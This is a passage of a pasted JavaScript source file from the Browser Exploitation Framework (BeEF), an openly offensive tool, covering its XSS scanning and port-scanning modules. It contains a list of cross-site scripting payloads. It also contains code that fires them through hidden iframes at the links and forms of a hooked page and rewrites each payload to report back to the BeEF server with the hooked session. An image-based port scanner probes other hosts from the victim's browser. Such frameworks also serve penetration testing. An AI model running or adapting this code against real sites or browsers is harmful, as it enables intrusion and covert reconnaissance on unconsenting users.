  13557.     cleanUpTimeout:5000,
  13558.  
  13559.     //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
  13560.     vectors: [
  13561.  
  13562.                                   {input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
  13563.                                   {input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
  13564.                                   {input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
  13565.                                   {input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
  13566.                                   {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
  13567.                                   {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
  13568.                                   {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
  13569.                                   {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
  13570.                                   {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
  13571.                                   {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
  13572.                                   {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
  13573.                                   {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
  13574.                                   {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
  13575.                                   {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
  13576.                                   {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
  13577.                                   {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
  13578.                                   {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
  13579.                                   {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
  13580.                                   {input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
  13581.     ],
  13582.     uniqueID: 0,
  13583.     rays: [],
  13584.     stack: [],
  13585.  
  13586.     /**
  13587.      * return true is the attack vector can be launched to the current browser type.
  13588.      * @param {array} vector_array_index
  13589.      */
  13590.     checkBrowser:function(vector_array_index){
  13591.         var result = false;
  13592.         var browser_id = this.vectors[vector_array_index].browser;
  13593.         switch (browser_id){
  13594.         case "ALL":
  13595.             result = true;
  13596.             break;
  13597.         case "FF":
  13598.             if(beef.browser.isFF())result=true;
  13599.             break;
  13600.         case "IE":
  13601.             if(beef.browser.isIE())result=true;
  13602.             break;
  13603.         case "C":
  13604.             if(beef.browser.isC())result=true;
  13605.             break;
  13606.         case "S":
  13607.             if(beef.browser.isS())result=true;
  13608.             break;
  13609.         case "O":
  13610.             if(beef.browser.isO())result=true;
  13611.             break;
  13612.         default : result = false;
  13613.         }
  13614.         beef.debug("==== browser_id ==== [" + browser_id + "], result [" + result + "]");
  13615.         return result;
  13616.     },
  13617.  
  13618.     /**
  13619.      * main function, where all starts :-)
  13620.      * @param xssraysScanId
  13621.      * @param hookedBrowserSession
  13622.      * @param beefUrl
  13623.      * @param crossDomain
  13624.      * @param timeout
  13625.      */
  13626.     startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout) {
  13627.  
  13628.         this.xssraysScanId = xssraysScanId;
  13629.         this.hookedBrowserSession = hookedBrowserSession;
  13630.         this.beefRayUrl = beefUrl + '/' + this.handler;
  13631.         beef.debug("Using [" + this.beefRayUrl  + "] handler to contact back BeEF");
  13632.         this.crossDomain = crossDomain;
  13633.         this.cleanUpTimeout = timeout;
  13634.  
  13635.         this.scan();
  13636.         beef.debug("Starting scan");
  13637.         this.runJobs();
  13638.     },
  13639.     complete:function() {
  13640.         if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {
  13641.             beef.debug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]");
  13642.             $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} );
  13643.         } else {
  13644.             this.getNextJob();
  13645.         }
  13646.     },
  13647.     getNextJob:function() {
  13648.         var that = this;
  13649.         beef.debug("getNextJob - this.stack.length [" + this.stack.length + "]");
  13650.         if (this.stack.length > 0) {
  13651.             var func = that.stack.shift();
  13652.             if (func) {
  13653.                 that.completed++;
  13654.                 func.call(that);
  13655.             }
  13656.         }else{ //nothing else to scan
  13657.             this.complete();
  13658.         }
  13659.     },
  13660.     scan:function() {
  13661.         this.scanLinks();
  13662.         this.scanForms();
  13663.     },
  13664.     scanPaths:function() {
  13665.         this.xss({type:'path'});
  13666.         return this;
  13667.     },
  13668.     scanForms: function() {
  13669.         this.xss({type:'form'});
  13670.         return this;
  13671.     },
  13672.     scanLinks: function() { //TODO: add depth crawling for links that are in the same domain
  13673.         beef.debug("scanLinks, document.links.length [" + document.links.length + "]");
  13674.         for (var i = 0; i < document.links.length; i++) {
  13675.             var url = document.links[i];
  13676.  
  13677.             if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {
  13678.                 beef.debug("Starting scanning URL [" + url + "]\n url.href => " + url.href +
  13679.                     "\n url.pathname => " + url.pathname + "\n" +
  13680.                     "url.search => " + url.search + "\n");
  13681.                 this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,
  13682.                     search:url.search, type: 'url'});//scan each link & param
  13683.             } else {
  13684.                 beef.debug('Scan is not Cross-origin.  URLS\nurl :' + url.hostname.toString());
  13685.                 beef.debug('\nlocation :' + location.hostname.toString());
  13686.             }
  13687.         }
  13688.         if (location.search.length > 0) {
  13689.             this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url
  13690.         }
  13691.         return this;
  13692.     },
  13693.     xss:function(target) {
  13694.         switch (target.type) {
  13695.             case "url":
  13696.                 if (target.search.length > 0) {
  13697.                     target.search = target.search.slice(1);
  13698.                     target.search = target.search.split(/&|&amp;/);
  13699.  
  13700.                     if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname
  13701.                        var pathname = "/" + target.pathname;
  13702.                     }else{
  13703.                         var pathname = target.pathname;
  13704.                     }
  13705.  
  13706.                     var params = {};
  13707.                     for (var i = 0; i < target.search.length; i++) {
  13708.                         target.search[i] = target.search[i].split('=');
  13709.                         params[target.search[i][0]] = target.search[i][1];
  13710.                     }
  13711.                     for (var i = 0; i < this.vectors.length; i++) {
  13712.                         // skip the current vector if it's not compatible with the hooked browser
  13713.                         if (!this.checkBrowser(i)){
  13714.                             beef.debug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
  13715.                             continue;
  13716.                         }
  13717.                         if (!this.vectors[i].url) {
  13718.                             continue;
  13719.                         }
  13720.                         if (this.vectors[i].url) {
  13721.                             if (target.port == null || target.port == "") {
  13722.                                 beef.debug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
  13723.                                 this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params
  13724.                             } else {
  13725.                                 beef.debug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
  13726.                                 this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params
  13727.                             }
  13728.                         }
  13729.                         if (this.vectors[i].path) {
  13730.                             if (target.port == null || target.port == "") {
  13731.                                 beef.debug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
  13732.                                 this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths
  13733.                             } else {
  13734.                                 beef.debug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
  13735.                                 this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths
  13736.                             }
  13737.                         }
  13738.                     }
  13739.                 }
  13740.                 break;
  13741.             case "form":
  13742.                 var params = {};
  13743.                 var paramsstring = "";
  13744.                 for (var i = 0; i < document.forms.length; i++) {
  13745.                     var action = document.forms[i].action || document.location;
  13746.                     var method = document.forms[i].method.toUpperCase() === 'POST' ?
  13747.                         'POST' :
  13748.                         'GET';
  13749.  
  13750.                     for (var j = 0; j < document.forms[i].elements.length; j++) {
  13751.                         params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;
  13752.                     }
  13753.                     for (var k = 0; k < this.vectors.length; k++) {
  13754.  
  13755.                         // skip the current vector if it's not compatible with the hooked browser
  13756.                         if (!this.checkBrowser(k)){
  13757.                             beef.debug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
  13758.                             continue;
  13759.                         }
  13760.                         if (!this.vectors[k].form) {
  13761.                             continue;
  13762.                         }
  13763.                         if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {
  13764.                             beef.debug('Scan is not Cross-origin. FormPost\naction :' + this.host(action).toString());
  13765.                             beef.debug('location :' + this.host(location));
  13766.                             continue;
  13767.                         }
  13768.                         if (this.vectors[k].form) {
  13769.                             if (method === 'GET') {
  13770.                                 beef.debug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]");
  13771.                                 this.run(action, method, this.vectors[k], params, true);//params
  13772.                             }
  13773.                             else {
  13774.                                 beef.debug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]");
  13775.                                 this.run(action, method, this.vectors[k], params, false);//params
  13776.                             }
  13777.                         }
  13778.                         if (this.vectors[k].path) {
  13779.                             beef.debug("Starting XSS on FORM action URI PATH of [" + action + "], ");
  13780.                             this.run(action, 'GET', this.vectors[k], null, true);//paths
  13781.                         }
  13782.                     }
  13783.                 }
  13784.                 break;
  13785.         }
  13786.     },
  13787.     host: function(url) {
  13788.         var host = url;
  13789.         host = /^https?:[\/]{2}[^\/]+/.test(url.toString())
  13790.             ? url.toString().match(/^https?:[\/]{2}[^\/]+/)
  13791.             : /(?:^[^a-zA-Z0-9\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())
  13792.             ? ''
  13793.             : location.hostname.toString();
  13794.         return host;
  13795.     },
  13796.     fileName: function(url) {
  13797.         return url.match(/(?:^[^\/]|^https?:[\/]{2}|^[\/]+)[^?]+/) || '';
  13798.     },
  13799.  
  13800.     urlEncode: function(str) {
  13801.         str = str.toString();
  13802.         str = str.replace(/"/g, '%22');
  13803.         str = str.replace(/&/g, '%26');
  13804.         str = str.replace(/\+/g, '%2b');
  13805.         return str;
  13806.     },
  13807.  
  13808.     /**
  13809.      * this is the main core function with the detection mechanisms...
  13810.      * @param url
  13811.      * @param method
  13812.      * @param vector
  13813.      * @param params
  13814.      * @param urlencode
  13815.      */
  13816.     run: function(url, method, vector, params, urlencode) {
  13817.         this.stack.push(function() {
  13818.  
  13819.             //check if the URL end with / . In this case remove the last /, as it will be added later.
  13820.             // this check is needed only when checking for URI path injections
  13821.             if(url[url.length - 1] == "/" && params == null){
  13822.                url = url.substring(0, url.length - 2);
  13823.                beef.debug("Remove last / from url. New url [" + url + "]");
  13824.             }
  13825.  
  13826.             beef.net.xssrays.uniqueID++;
  13827.             beef.debug('Processing vector [' + vector.name + "], URL [" + url + "]");
  13828.             var poc = '';
  13829.             var pocurl = url;
  13830.             var exploit = '';
  13831.             var action = url;
  13832.  
  13833.  
  13834.             beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};
  13835.             var ray = this.rays[beef.net.xssrays.uniqueID];
  13836.  
  13837.             var paramsPos = 0;
  13838.             if (params != null) {
  13839.                 /*
  13840.                  * ++++++++++ check for XSS in URI parameters (GET) ++++++++++
  13841.                  */
  13842.                 for (var i in params) {
  13843.                     if (params.hasOwnProperty(i)) {
  13844.  
  13845.                         if (!/[?]/.test(url)) {
  13846.                             url += '?';
  13847.                             pocurl += '?';
  13848.                         }
  13849.  
  13850.                         poc = vector.input.replace(/XSS/g, "alert(1)");
  13851.                         pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';
  13852.  
  13853.                         beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
  13854.                         beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
  13855.  
  13856.                         beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
  13857.                             + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
  13858.  
  13859.                         exploit = vector.input.replace(/XSS/g, beefCallback);
  13860.  
  13861.                         if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later
  13862.                             url += i + '=' + exploit + '&';
  13863.                         }else{
  13864.                             url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
  13865.                         }
  13866.  
  13867.                         paramsPos++;
  13868.                     }
  13869.                 }
  13870.             } else {
  13871.                 /*
  13872.                  * ++++++++++ check for XSS in URI path (GET) ++++++++++
  13873.                  */
  13874.                 var filename = beef.net.xssrays.fileName(url);
  13875.  
  13876.                 poc = vector.input.replace(/XSS/g, "alert(1)");
  13877.                 pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
  13878.  
  13879.  
  13880.                 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
  13881.                 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
  13882.  
  13883.                 beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
  13884.                     + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
  13885.  
  13886.                 exploit = vector.input.replace(/XSS/g, beefCallback);
  13887.  
  13888.                 //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//<xss>.
  13889.                 //TODO: this need to checked and the slash shouldn't be added in this particular case
  13890.                 url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
  13891.             }
  13892.             /*
  13893.              * ++++++++++ create the iFrame that will contain the attack vector ++++++++++
  13894.              */
  13895.             if(beef.browser.isIE()){
  13896.                 try {
  13897.                     var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
  13898.                 } catch (e) {
  13899.                     var iframe = document.createElement('iframe');
  13900.                     iframe.name = 'ray' + Math.random().toString();
  13901.                 }
  13902.             }else{
  13903.                 var iframe = document.createElement('iframe');
  13904.                 iframe.name = 'ray' + Math.random().toString();
  13905.             }
  13906.             iframe.style.display = 'none';
  13907.             iframe.id = 'ray' + beef.net.xssrays.uniqueID;
  13908.             iframe.time = beef.net.xssrays.timestamp();
  13909.  
  13910.             if (method === 'GET') {
  13911.                 if(beef.browser.isC() || beef.browser.isS()){
  13912.                     var datauri = btoa(url);
  13913.                     iframe.src = "data:text/html;base64," + datauri;
  13914.                 }else{
  13915.                     iframe.src = url;
  13916.                 }
  13917.                 document.body.appendChild(iframe);
  13918.                 beef.debug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
  13919.             } else if (method === 'POST') {
  13920.                 /*
  13921.                  * ++++++++++ check for XSS in body parameters (POST) ++++++++++
  13922.                  */
  13923.                 var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
  13924.                 poc = '';
  13925.                 pocurl = action + "?";
  13926.                 paramsPos = 0;
  13927.  
  13928.                 beef.debug("Form action [" + action + "]");
  13929.                 for (var i in params) {
  13930.                     if (params.hasOwnProperty(i)) {
  13931.  
  13932.                         poc = vector.input.replace(/XSS/g, "alert(1)");
  13933.                         poc = poc.replace(/<\/script>/g, "<\/scr\"+\"ipt>");
  13934.                         pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&';
  13935.  
  13936.                         beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
  13937.                         beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
  13938.  
  13939.                         beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
  13940.                             + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
  13941.  
  13942.                         exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
  13943.                         form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
  13944.                         beef.debug("form param[" + i + "] = " + params[i].toString());
  13945.  
  13946.                         paramsPos++;
  13947.                     }
  13948.                 }
  13949.                 form += '<\/form>';
  13950.                 document.body.appendChild(iframe);
  13951.                 beef.debug("Creating form [" + form + "]");
  13952.                 iframe.contentWindow.document.writeln(form);
  13953.                 iframe.contentWindow.document.writeln('<script>document.createElement("form").submit.apply(document.forms[0]);<\/script>');
  13954.                 beef.debug("Submitting form");
  13955.             }
  13956.  
  13957.         });
  13958.     },
  13959.  
  13960.     /**
  13961.      * run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value
  13962.      */
  13963.     runJobs: function() {
  13964.         var that = this;
  13965.         this.totalConnections = this.stack.length;
  13966.         that.getNextJob();
  13967.         setInterval(function() {
  13968.             var numOfConnections = 0;
  13969.             for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {
  13970.                 var iframe = document.getElementsByTagName('iframe')[i];
  13971.                 numOfConnections++;
  13972.                 //beef.debug("runJobs parseInt(this.timestamp()) [" + parseInt(beef.net.xssrays.timestamp()) + "], parseInt(iframe.time) [" + parseInt(iframe.time) + "]");
  13973.                 if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
  13974.                     try{
  13975.                         if (iframe) {
  13976.                             beef.net.xssrays.complete();
  13977.                             beef.debug("RunJobs cleaning up iFrame [" + iframe.id + "]");
  13978.                             document.body.removeChild(iframe);
  13979.                         }
  13980.                     }catch(e){
  13981.                         beef.debug("Exception [" + e.toString() + "] when cleaning iframes.")
  13982.                     }
  13983.                 }
  13984.             }
  13985.  
  13986.             if (numOfConnections == 0) {
  13987.                 clearTimeout(this);
  13988.             }
  13989.  
  13990.         }, this.cleanUpTimeout);
  13991.  
  13992.         return this;
  13993.     },
  13994.     timestamp: function() {
  13995.         return parseInt(new Date().getTime().toString().substring(0, 10));
  13996.     },
  13997.     escape: function(str) {
  13998.         str = str.toString();
  13999.         str = str.replace(/</g, '&lt;');
  14000.         str = str.replace(/>/g, '&gt;');
  14001.         str = str.replace(/\u0022/g, '&quot;');
  14002.         str = str.replace(/\u0027/g, '&#39;');
  14003.         str = str.replace(/\\/g, '&#92;');
  14004.         return str;
  14005.     }
  14006.  
  14007. };
  14008.  
  14009. beef.regCmp('beef.net.xssrays');
  14010.  
  14011.  
  14012. //
  14013. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  14014. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  14015. // See the file 'doc/COPYING' for copying permission
  14016. //
  14017.  
  14018. /**
  14019.  * Provides port scanning functions for the zombie. A mod of pdp's scanner
  14020.  *
  14021.  * Version: '0.1',
  14022.  * author: 'Petko Petkov',
  14023.  * homepage: 'http://www.gnucitizen.org'
  14024.  * @namespace beef.net.portscanner
  14025.  */
  14026.  
  14027. beef.net.portscanner = {
  14028.  
  14029.                 /**
  14030.                  *
  14031.                  * @param callback
  14032.                  * @param target
  14033.                  * @param port
  14034.                  * @param timeout
  14035.                  */
  14036.                 scanPort: function(callback, target, port, timeout)
  14037.                 {
  14038.                         var timeout = (timeout == null)?100:timeout;
  14039.                         var img = new Image();
  14040.  
  14041.                         img.onerror = function () {
  14042.                                 if (!img) return;
  14043.                                 img = undefined;
  14044.                                 callback(target, port, 'open');
  14045.                         };
  14046.  
  14047.                         img.onload  = img.onerror;
  14048.                        
  14049.                         img.src = 'http://' + target + ':' + port;
  14050.  
  14051.                         setTimeout(function () {
  14052.                                 if (!img) return;
  14053.                                 img = undefined;
  14054.                                 callback(target, port, 'closed');
  14055.                         }, timeout);
  14056.  
  14057.                 },
  14058.                 /**
  14059.                  *
  14060.                  * @param callback
  14061.                  * @param target
  14062.                  * @param ports_str
  14063.                  * @param timeout
  14064.                  */
  14065.                 scanTarget: function(callback, target, ports_str, timeout)
  14066.                 {
  14067.                         var ports = ports_str.split(",");
  14068.  
  14069.                         for (index = 0; index < ports.length; index++) {
  14070.                                 this.scanPort(callback, target, ports[index], timeout);
  14071.                         };
  14072.  
  14073.                 }
  14074. };
  14075.  
  14076. beef.regCmp('beef.net.portscanner');
  14077.  
  14078.  
  14079.  
  14080. //
  14081. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  14082. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  14083. // See the file 'doc/COPYING' for copying permission
  14084. //
  14085.  
  14086. /**
  14087.  * A series of functions that handle statuses, returns a number based on the function called.
  14088.  * @namespace beef.are
  14089.  */
  14090.  
  14091. beef.are = {
  14092.   /**
  14093.    * A function for handling a success status
  14094.    * @memberof beef.are
  14095.    * @method status_success
  14096.    * @return {number} 1
  14097.    */
  14098.   status_success: function(){
  14099.     return 1;
  14100.   },
  14101.   /**
  14102.    * A function for handling an unknown status
  14103.    * @memberof beef.are
  14104.    * @method status_unknown
  14105.    * @return {number} 0
  14106.    */  
  14107.   status_unknown: function(){
  14108.     return 0;
  14109.   },
  14110.   /**
  14111.    * A function for handling an error status
  14112.    * @memberof beef.are
  14113.    * @method status_error
  14114.    * @return {number} -1
  14115.    */  
  14116.   status_error: function(){
  14117.     return -1;
  14118.   }
  14119. };
  14120. beef.regCmp("beef.are");
  14121.  
  14122.  
  14123. //
  14124. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  14125. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  14126. // See the file 'doc/COPYING' for copying permission
  14127. //
  14128.  
  14129. /**
  14130.  * Sometimes there are timing issues and looks like beef_init
  14131.  * is not called at all (always in cross-origin situations,
  14132.  * for example calling the hook with jquery getScript,
  14133.  * or sometimes with event handler injections).
  14134.  *
  14135.  * To fix this, we call again beef_init after 1 second.
  14136.  * Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
  14137.  * antisnatchor
  14138.  * @namespace beef.timeout
  14139.  */
  14140.  
  14141.  /**
  14142.   * @memberof beef.timeout
  14143.   * @function setTimeout
  14144.   */
  14145. setTimeout(beef_init, 1000);
  14146.  
  14147.  
  14148.  

Reply to "Untitled"

Here you can reply to the paste above